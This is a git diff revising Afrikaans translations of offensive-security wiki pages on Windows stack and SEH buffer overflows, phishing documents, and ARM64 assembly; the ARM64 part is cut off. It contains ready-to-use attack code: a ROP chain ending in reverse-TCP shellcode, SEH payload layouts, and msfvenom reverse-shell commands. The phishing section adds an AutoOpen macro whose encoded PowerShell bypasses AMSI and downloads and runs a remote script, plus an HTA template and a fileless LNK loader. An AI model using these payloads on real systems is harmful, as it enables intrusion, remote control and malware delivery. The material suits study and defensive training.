 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Met 'n beperkte gadget-stel kan jy registerwaardes indirek saamstel, byvoorbeeld:
+Met 'n beperkte gadget set, kan jy registerwaardes indirek opstel, byvoorbeeld:
-- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 van rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword.
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 uit rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword.
-- xor rbx, rsp; ret → laai rbx met die huidige stack pointer.
+- xor rbx, rsp; ret → initialiseer rbx met die huidige stack pointer.
-- push rbx; pop rax; mov rcx, rax; ret → skuif 'n RSP-afgeleide waarde na RCX.
+- push rbx; pop rax; mov rcx, rax; ret → skuif RSP-afgeleide waarde na RCX.
 
-Pwntools-voorbeeld (gegee 'n bekende base en gadgets):
+Pwntools-skets (gegee 'n bekende base en gadgets):
 ```python
 from pwn import *
 base = 0x7ff6693b0000
@@ -134,28 +134,28 @@ rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
 Wenke:
 - VirtualProtect werk soortgelyk as dit verkieslik is om 'n bestaande buffer RX te maak; die parameterorde is anders.
-- As die stack-ruimte beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe streek in plaas daarvan om die stack te hergebruik.
+- As die stack space beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe region in plaas van die stack te hergebruik.
-- Reken altyd op gadgets wat RSP aanpas (e.g., add rsp, 8; ret) deur junk qwords in te voeg.
+- Rekening hou altyd met gadgets wat RSP aanpas (bv. add rsp, 8; ret) deur junk qwords in te voeg.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer word** sodat die adres oor uitvoerings heen betroubaar is; anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en jy sal 'n leak nodig hê om uit te vind waar die win function gelaai is.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer wees** sodat die adres oor uitvoerings heen betroubaar is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n leak nodig hê om uit te vind waar die win funksie gelaai is.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP return address nooit gevolg word nie.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer wees, anders sal die gekompromitteerde EIP return address nooit gevolg word nie.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** beskerming sal die uitvoering van die shellcode binne die stack verhinder omdat daardie gebied nie uitvoerbaar sal wees nie.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** beskerming sal die uitvoering van die shellcode binne die stack voorkom omdat daardie region nie uitvoerbaar sal wees nie.
 
-## Ander Voorbeelde & Verwysings
+## Other Examples & References
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR met stack address leak, skryf shellcode en spring daarheen
+- 64bit, ASLR met stack address leak, skryf shellcode en jump daarnaartoe
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32-bit, ASLR met stack leak, skryf shellcode en spring daarheen
+- 32 bit, ASLR met stack leak, skryf shellcode en jump daarnaartoe
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32-bit, ASLR met stack leak, vergelyking om oproep na exit() te voorkom, oorskryf 'n veranderlike met 'n waarde, skryf shellcode en spring daarheen
+- 32 bit, ASLR met stack leak, vergelyking om oproep na exit() te voorkom, oorskryf 'n veranderlike met 'n waarde en skryf shellcode en jump daarnaartoe
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, geen ASLR, ROP gadget om die stack uitvoerbaar te maak en na shellcode in die stack te spring
+- arm64, geen ASLR, ROP gadget om stack uitvoerbaar te maak en jump na shellcode in stack
 
 
-## Verwysings
+## References
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -1,25 +1,25 @@
-# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
+# Windows SEH-gebaseerde Stack Overflow-uitbuiting (nSEH/SEH)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based eksploitasie is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting op die stapel misbruik. Wanneer 'n stapel-bufferoorloop die twee 4-byte velde oorskryf
+SEH-gebaseerde uitbuiting is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting benut wat op die stack gestoor is. Wanneer 'n stack buffer overflow die twee 4-byte velde oor-skryf
 
-- nSEH: pointer to the next SEH record, and
+- nSEH: aanwyser na die volgende SEH-rekord, en
-- SEH: pointer to the exception handler function
+- SEH: aanwyser na die exception handler-funksie
 
-kan 'n aanvaller die uitvoering oorneem deur:
+kan 'n aanvaller beheer van die uitvoering kry deur:
 
-1) SEH op die adres van 'n POP POP RET gadget in 'n nie-beskermde module te stel, sodat wanneer 'n exception verwerk word die gadget terugkeer na bytes onder die aanvaller se beheer, en
+1) SEH op die adres van 'n POP POP RET-gadget in 'n nie-beskermde module te stel, sodat wanneer 'n uitzondering hanteer word die gadget terugkeer in deur die aanvaller beheerde bytes, en
-2) nSEH te gebruik om die uitvoering te herlei (tipies 'n kort spring) terug na die groot oorstroomde buffer waar shellcode lê.
+2) nSEH te gebruik om die uitvoering te herlei (gewoonlik 'n kort sprong) terug na die groot oorvloeiende buffer waar die shellcode woon.
 
-Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Slegte karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in weens C-strings en HTTP parsing.
+Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Swak karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in as gevolg van C-strings en HTTP-parsing.
 
 ---
 
 ## Vind presiese offsets (nSEH / SEH)
 
-- Laat die proses crash en verifieer dat die SEH-ketting oor geskryf is (bv., in x32dbg/x64dbg, kyk die SEH view).
+- Laat die proses crash en verifieer dat die SEH-ketting oorskryf is (bv. in x32dbg/x64dbg, kyk na die SEH-view).
-- Stuur 'n cyclic pattern as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland.
+- Stuur 'n cykliese patroon as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland.
 
 Voorbeeld met peda/GEF/pwntools op 'n 1000-byte POST body:
 ```bash
@@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
 # ➜ offsets example: nSEH=660, SEH=664
 ```
-Valideer deur merkers op daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou totale lengte konstant om die crash reproduseerbaar te maak.
+Valideer deur merkers by daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou die totale lengte konstant om die crash reproduceerbaar te maak.
 
 ---
 
 ## Kies 'n POP POP RET (SEH gadget)
 
-Jy benodig 'n POP POP RET-sekwensie om die SEH-raamwerk af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en by voorkeur sonder ASLR:
+Jy benodig 'n POP POP RET-reeks om die SEH-raam af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en, indien moontlik, sonder ASLR:
 
-- Mona (Immunity/WinDbg): `!mona modules` dan `!mona seh -m modulename`.
+- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
-- x64dbg plugin ERC.Xdbg: `ERC --SEH` om POP POP RET gadgets en SafeSEH-status te lys.
+- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
 
-Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., `p32(0x004094D8)`). Gee voorkeur aan gadgets binne die kwesbare binary as beskermings dit toelaat.
+Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., `p32(0x004094D8)`). Voorkeur vir gadgets binne die kwesbare binary indien beskermings dit toelaat.
 
 ---
 
-## Jump-back tegniek (short + near jmp)
+## Jump-back-tegniek (short + near jmp)
 
-nSEH is slegs 4 bytes, wat hoogstens 'n 2-byte short jump (`EB xx`) plus padding kan huisves. As jy honderde bytes terug moet spring om jou buffer-begin te bereik, gebruik 'n 5-byte near jump wat net voor nSEH geplaas is en koppel dit met 'n short jump vanaf nSEH.
+nSEH is slegs 4 bytes, wat op die meeste plek 'n 2-byte short jump (`EB xx`) plus padding toelaat. As jy honderde bytes terug moet jump om by die begin van jou buffer uit te kom, gebruik 'n 5-byte near jump net voor nSEH en chain daarna in met 'n short jump vanaf nSEH.
 
-Met nasmshell:
+With nasmshell:
 ```text
 nasm> jmp -660           ; too far for short; near jmp is 5 bytes
 E967FDFFFF
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-Uitleg-idee vir 'n 1000-byte payload met nSEH op offset 660:
+Voorstel vir die lay-out van 'n 1000-byte payload met nSEH by offset 660:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -71,31 +71,31 @@ payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pa
 payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
 payload += b"D" * (buffer_length - len(payload))
 ```
-Execution flow:
+Uitvoeringsvloei:
-- Exception gebeur, dispatcher gebruik die oor-geskryfde SEH.
+- Uitsondering vind plaas, die dispatcher gebruik die oor-geskryfde SEH.
-- POP POP RET ontvou na ons nSEH.
+- POP POP RET ontrol in ons nSEH.
 - nSEH voer `jmp short -8` uit na die 5-byte near jump.
-- Die near jump land by die begin van ons buffer waar die NOP sled + shellcode lê.
+- Die near jump land by die begin van ons buffer waar die NOP sled + shellcode aangetref word.
 
 ---
 
 ## Slegte karakters
 
-Bou 'n volledige badchar string en vergelyk die stack memory na die crash, en verwyder bytes wat deur die teiken-parser gemanipuleer word. Vir HTTP-based overflows, `\x00\x0a\x0d` word byna altyd uitgesluit.
+Bou 'n volledige badchar-string en vergelyk die stapelgeheue na die crash, verwyder bytes wat deur die teiken-parser vervorm word. Vir HTTP-based overflows, `\x00\x0a\x0d` word byna altyd uitgesluit.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
 ```
 ---
 
-## Shellcode generation (x86)
+## Shellcode generering (x86)
 
-Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landingsvariasie te verdra.
+Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landing-variansie te verdra.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om in Python te embed en te unhex:
+As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om te embed en in Python te unhex:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
@@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LP
 
 ## Aflewering oor HTTP (presiese CRLF + Content-Length)
 
-Wanneer die kwesbare vektor 'n HTTP request body is, skep 'n raw request met presiese CRLFs en Content-Length sodat die server die hele oorvloeiende body lees.
+Wanneer die kwesbare vektor 'n HTTP versoekliggaam is, stel 'n rou versoek saam met presiese CRLFs en Content-Length sodat die bediener die hele oorvloeiende liggaam kan lees.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -127,21 +127,21 @@ p.close()
 
 ## Gereedskap
 
-- x32dbg/x64dbg om die SEH-ketting te bekyk en die crash te triageer.
+- x32dbg/x64dbg om die SEH-ketting te observeer en die crash te triage.
 - ERC.Xdbg (x64dbg plugin) om SEH-gadgets te enumereer: `ERC --SEH`.
 - Mona as 'n alternatief: `!mona modules`, `!mona seh`.
-- nasmshell om kort/na-bye spronge te assembleer en rou opkodes te kopieer.
+- nasmshell om short/near jumps te assembleer en rou opkodes te kopieer.
-- pwntools om presiese netwerk-payloads te skep.
+- pwntools om presiese netwerk-payloads te vervaardig.
 
 ---
 
-## Notas en voorbehoude
+## Aantekeninge en kanttekeninge
 
-- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde uitbuiting is oor die algemeen nie haalbaar nie.
+- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde exploitasie is oor die algemeen nie lewensvatbaar nie.
-- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; anders, vind 'n onbeveiligde module wat in die proses gelaai is.
+- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; andersins vind 'n onbeveiligde module wat in die proses gelaai is.
-- Diens-watchdogs wat outomaties na 'n crash herbegin, kan iteratiewe exploit-ontwikkeling vergemaklik.
+- Diens-watchdogs wat outomaties herbegin na 'n crash kan iteratiewe exploit-ontwikkeling vergemaklik.
 
-## Verwysings
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
 - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -4,37 +4,37 @@
 
 ## Office Dokumente
 
-Microsoft Word voer lêerdata-validering uit voordat 'n lêer geopen word. Datavalidering word uitgevoer in die vorm van identifikasie van datastrukture, teen die OfficeOpenXML standard. As enige fout voorkom tydens die identifikasie van die datastruktuur, sal die lêer wat ontleed word nie geopen word nie.
+Microsoft Word voer lêerdata-validering uit voordat 'n lêer oopgemaak word. Data-validering word uitgevoer in die vorm van identifisering van datastrukture, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die identifisering van die datastruktuur, sal die lêer wat ontleed word nie oopgemaak word nie.
 
-Gewoonlik gebruik Word-lêers wat macros bevat die `.docm` uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul macros-uitvoerende vermoëns te behou.\
+Gewoonlik gebruik Word-lêers wat macros bevat die `.docm`-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds die vermoë om macros uit te voer te behou.\
-Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer hernoem na RTF sal deur Microsoft Word hanteer word en sal in staat wees tot macro-uitvoering.\
+Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en sal in staat wees om macros uit te voer.\
 Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint etc.).
 
-Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word:
+Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sekere Office-programme uitgevoer gaan word:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-DOCX-lêers wat na 'n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat makro's insluit, kan ook makro's “uitvoer”.
+DOCX-lêers wat na 'n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat macros bevat, kan ook macros “execute”.
 
-### Eksterne beeldlaai
+### Eksterne Beeldlading
 
 Gaan na: _Insert --> Quick Parts --> Field_\
 _**Categories**: Links and References, **Filed names**: includePicture, en **Filename or URL**:_ http://<ip>/whatever
 
 ![](<../../images/image (155).png>)
 
-### Makro-agterdeur
+### Macros Backdoor
 
-Dit is moontlik om makro's te gebruik om willekeurige kode vanaf die dokument uit te voer.
+Dit is moontlik om macros te gebruik om arbitrêre code vanaf die dokument uit te voer.
 
-#### Autoload funksies
+#### Autoload-funksies
 
-Hoe algemener hulle is, hoe meer waarskynlik sal AV hulle opspoor.
+Hoe algemener dit is, hoe meer waarskynlik is dit dat AV dit sal opspoor.
 
 - AutoOpen()
 - Document_Open()
 
-#### Makro-kode voorbeelde
+#### Macros Code Examples
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@@ -68,22 +68,22 @@ proc.Create "powershell <beacon line generated>
 
 Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector oopmaak. Klik **Inspect** en dan **Remove All** langs **Document Properties and Personal Information**.
 
-#### Doc-uitbreiding
+#### Doc Extension
 
-Wanneer klaar, kies die **Save as type** keuselys en verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
+Wanneer klaar, kies die **Save as type** dropdown, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
-Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor** nie en daar is 'n **stigma** **omtrent** die makro-aktiewe **`.docm`** uitbreiding (bv. die miniatuurikoon het 'n groot `!` en sommige web-/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**.
+Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor nie** en daar 'n **stigma** bestaan rondom die makro-geaktiveerde **`.docm`** uitbreiding (bv. die miniatuur-ikoon het 'n groot `!` en sommige web-/e-pos-hekke blokkeer hulle heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**.
 
-#### Kwaadaardige makro-generatoren
+#### Malicious Macros Generators
 
 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 
-## HTA-lêers
+## HTA Files
 
-'n HTA is 'n Windows-program wat **HTML en skripttale (soos VBScript en JScript) kombineer**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel.
+An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
 
-'n HTA word uitgevoer met **`mshta.exe`**, wat tipies **geïnstalleer** is saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. As dit dus verwyder is, sal HTA's nie in staat wees om uitgevoer te word nie.
+An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -138,9 +138,9 @@ var_func
 self.close
 </script>
 ```
-## Afdwing van NTLM-verifikasie
+## Afdwing van NTLM Authentication
 
-Daar is verskeie maniere om **afdwing van NTLM-verifikasie "op afstand"**, byvoorbeeld, jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal oopmaak (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **verifikasie** sal **aktiveer** net deur die **vouer te open.**
+Daar is verskeie maniere om **NTLM authentication "op afstand" af te dwing**, byvoorbeeld jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal toegang (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **authentication** sal **trigger** net deur **die gids te open.**
 
 **Kyk na hierdie idees en meer op die volgende bladsye:**
 
@@ -156,24 +156,24 @@ Daar is verskeie maniere om **afdwing van NTLM-verifikasie "op afstand"**, byvoo
 
 ### NTLM Relay
 
-Moenie vergeet dat jy nie net die hash of die verifikasie kan steel nie, maar ook **perform NTLM relay attacks**:
+Moet nie vergeet dat jy nie net die hash of die authentication kan steel nie, maar ook **perform NTLM relay attacks**:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme lokdokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ruwe bytes van die ZIP na 'n unieke merker gestoor is, en die .lnk dit uitkerf en volledig in geheue uitvoer.
+Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme skyn-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader in die rou bytes van die ZIP gestoor word na 'n unieke merk, en die .lnk kerf dit uit en hardloop dit heeltemal in geheue.
 
 Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner:
 
-1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory.
+1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouergids van die huidige werkgids.
-2) Lees die ZIP-bytes en vind 'n hardgekodeerde merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell-payload.
+2) Lees die ZIP-bytes en vind 'n hardgekodeerde merk (bv. xFIQCV). Alles ná die merk is die ingeslote PowerShell payload.
-3) Kopieer die ZIP na %ProgramData%, pak daar uit, en open die lok .docx om geldig te voorkom.
+3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en open die skyn-.docx om legitimiteit te skep.
 4) Omseil AMSI vir die huidige proses: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
-5) Deobfuskering van die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit.
+5) Deobfuscate die volgende stage (bv. verwyder alle # karakters) en voer dit in geheue uit.
 
-Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer:
+Example PowerShell skeleton to carve and run the embedded stage:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@@ -191,21 +191,21 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Aantekeninge
-- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads gate (serve benign ZIPs gebaseer op IP/UA).
+- Aflewering misbruik dikwels betroubare PaaS-subdomeine (e.g., *.herokuapp.com) en kan payloads beperk (bedien onskadelike ZIP-lêers gebaseer op IP/UA).
-- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyf-artefakte te minimaliseer.
+- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer.
 
-Persistence wat in dieselfde ketting gebruik word
+Persistensie wat in dieselfde ketting gebruik word
-- COM TypeLib hijacking van die Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herlaai. Sien besonderhede en gereed-vir-gebruik opdragte hier:
+- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit embed die payload outomaties herbegin. Sien besonderhede en gereed-vir-gebruik opdragte hier:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
-Hunting/IOCs
+Opsporing/IOCs
-- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is.
+- ZIP-lêers wat die ASCII-merkerstring (e.g., xFIQCV) bevat wat aan die argiefdata aangeheg is.
-- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak.
+- .lnk wat ouer- en gebruiker-lêergidse deurloop om die ZIP te vind en 'n lokdokument oop te maak.
 - AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
-- Langlopende besigheidsdrade wat eindig met skakels gehost onder vertroude PaaS-domeine.
+- Langdurige sake-drade wat eindig met skakels gehost op vertroude PaaS-domeine.
 
 ## Verwysings
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -1,255 +1,258 @@
-# Inleiding tot ARM64v8
+# Introduction to ARM64v8
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Uitsondering Niveaus - EL (ARM64v8)**
+## **Exception Levels - EL (ARM64v8)**
 
-In die ARMv8-argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregte en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel:
+In ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Exception Levels (ELs), die voorregvlak en vermoëns van die uitvoeringsomgewing. Daar is vier exception-vlakke, van EL0 tot EL3, elk met 'n ander doel:
 
-1. **EL0 - Gebruikersmodus**:
+1. **EL0 - User Mode**:
-- Dit is die minste bevoorregte vlak en word gebruik om gewone toepassingskode uit te voer.
+- Dit is die minste-bevoorregte vlak en word gebruik vir die uitvoering van gewone toepassingkode.
-- Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geïsoleer, wat sekuriteit en stabiliteit verbeter.
+- Toepassings wat by EL0 loop, is van mekaar en van die stelselprogrammatuur geïsoleer, wat sekuriteit en stabiliteit verbeter.
-2. **EL1 - Bedryfstelsel Kernel Modus**:
+2. **EL1 - Operating System Kernel Mode**:
-- Meeste bedryfstelsel-kernels loop op hierdie vlak.
+- Die meeste bedryfstelselkernels hardloop op hierdie vlak.
-- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker.
+- EL1 het meer voorregte as EL0 en kan stelselhulpbronne toegang, maar met sekere beperkings om stelselintegriteit te verseker.
-3. **EL2 - Hypervisor Modus**:
+3. **EL2 - Hypervisor Mode**:
-- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop.
+- Hierdie vlak word vir virtualisering gebruik. 'n Hypervisor wat by EL2 loop kan meerdere bedryfstelsels bestuur (elkeen in sy eie EL1) op dieselfde fisiese hardeware.
 - EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings.
-4. **EL3 - Veilige Monitor Modus**:
+4. **EL3 - Secure Monitor Mode**:
-- Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings.
